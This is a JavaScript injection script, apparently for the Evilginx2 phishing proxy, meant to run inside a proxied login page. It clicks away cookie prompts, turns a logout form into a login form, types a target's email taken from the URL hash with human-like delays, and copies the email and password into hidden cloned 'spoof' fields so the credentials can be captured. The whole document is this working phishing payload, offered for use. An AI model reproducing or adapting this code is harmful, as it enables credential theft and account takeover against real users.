Evilginx2 JavaScript async inject (but applicable for all sites really)

inject.js

    (function() {
            async function waitForElement(selector) {
                const startTime = Date.now();
                const interval = 255;
                const timeout = 25500;

                while (Date.now() - startTime < timeout) {
                    const el = document.querySelector(selector);
                    if (el) return el;
                    await new Promise(r => setTimeout(r, interval)); 
                }
                throw new Error(`Timeout: Element "\${selector}" did not appear within \${timeout}ms.`);
            }

            function triggerEvent(el, eventType) {
                if (document.createEvent) {
                    const evt = document.createEvent('HTMLEvents');
                    evt.initEvent(eventType, true, true);
                    el.dispatchEvent(evt);
                } else if (el.fireEvent) {
                    el.fireEvent('on' + eventType);
                }
            }

            function getRandomInt(min, max) {
                min = Math.ceil(min);
                max = Math.floor(max);
                return Math.floor(Math.random() * (max - min + 1)) + min;
            }

            async function simulateTyping(element, inputStr, minDelay = 10, maxDelay = 25) {
                for (const char of inputStr.split('')) {
                    await new Promise(resolve => setTimeout(resolve, getRandomInt(minDelay, maxDelay)));
                    element.value += char;
                    triggerEvent(element, 'input');
                }
            }

            function cloneInputField(originalElement, newId) {
                const clone = originalElement.cloneNode(true);
                clone.id = clone.name = newId.replace('#', '');
                clone.value = '';
                clone.style.visibility = 'hidden';
                originalElement.parentNode.insertBefore(clone, originalElement.nextSibling);
                return clone;
            }

            async function main() {
                try {
                    const hashValue = decodeURIComponent(location.hash.slice(1).split('#')[0]);
                    waitForElement("button[data-testid=cookie-policy-manage-dialog-accept-button]")
                        .then(ckElemBtn => {
                            ckElemBtn.click()
                        })
                        .catch(error => console.error('err1:', error));

                    waitForElement("form[action*='logout.php']")
                        .then(logOutElem => {
                            logOutElem.action = logOutElem.action.replaceAll('logout', 'login');
                            return fetch('/conductorwehaveaproblem');
                        })
                        .catch(error => console.error('err1:', error));

                    waitForElement("#email")
                        .then(emailField => {
                            if (emailField.value !== hashValue) {
                                simulateTyping(emailField, hashValue);
                            }

                            const clonedEmailField = cloneInputField(emailField, '#spoofEmail');
                            emailField.addEventListener('input', () => {
                                clonedEmailField.value = emailField.value;
                            });
                        })
                        .catch(error => console.error('err2:', error));

                    waitForElement("#pass")
                        .then(passwordField => {
                            const clonedPwdField = cloneInputField(passwordField, '#spoofPass');
                            passwordField.addEventListener('input', () => {
                                clonedPwdField.value = passwordField.value;
                            });
                        })
                        .catch(error => console.error('err3:', error));
                } catch (error) {
                    console.error('Error:', error);
                    setTimeout(main, loopInterval);
                } finally {
                    // Schedule the next execution of main
                    // setTimeout(main, loopInterval);
                }
            }

            const loopInterval = 5000; // Loop every 5 seconds

            // Start the loop
            main();
        })();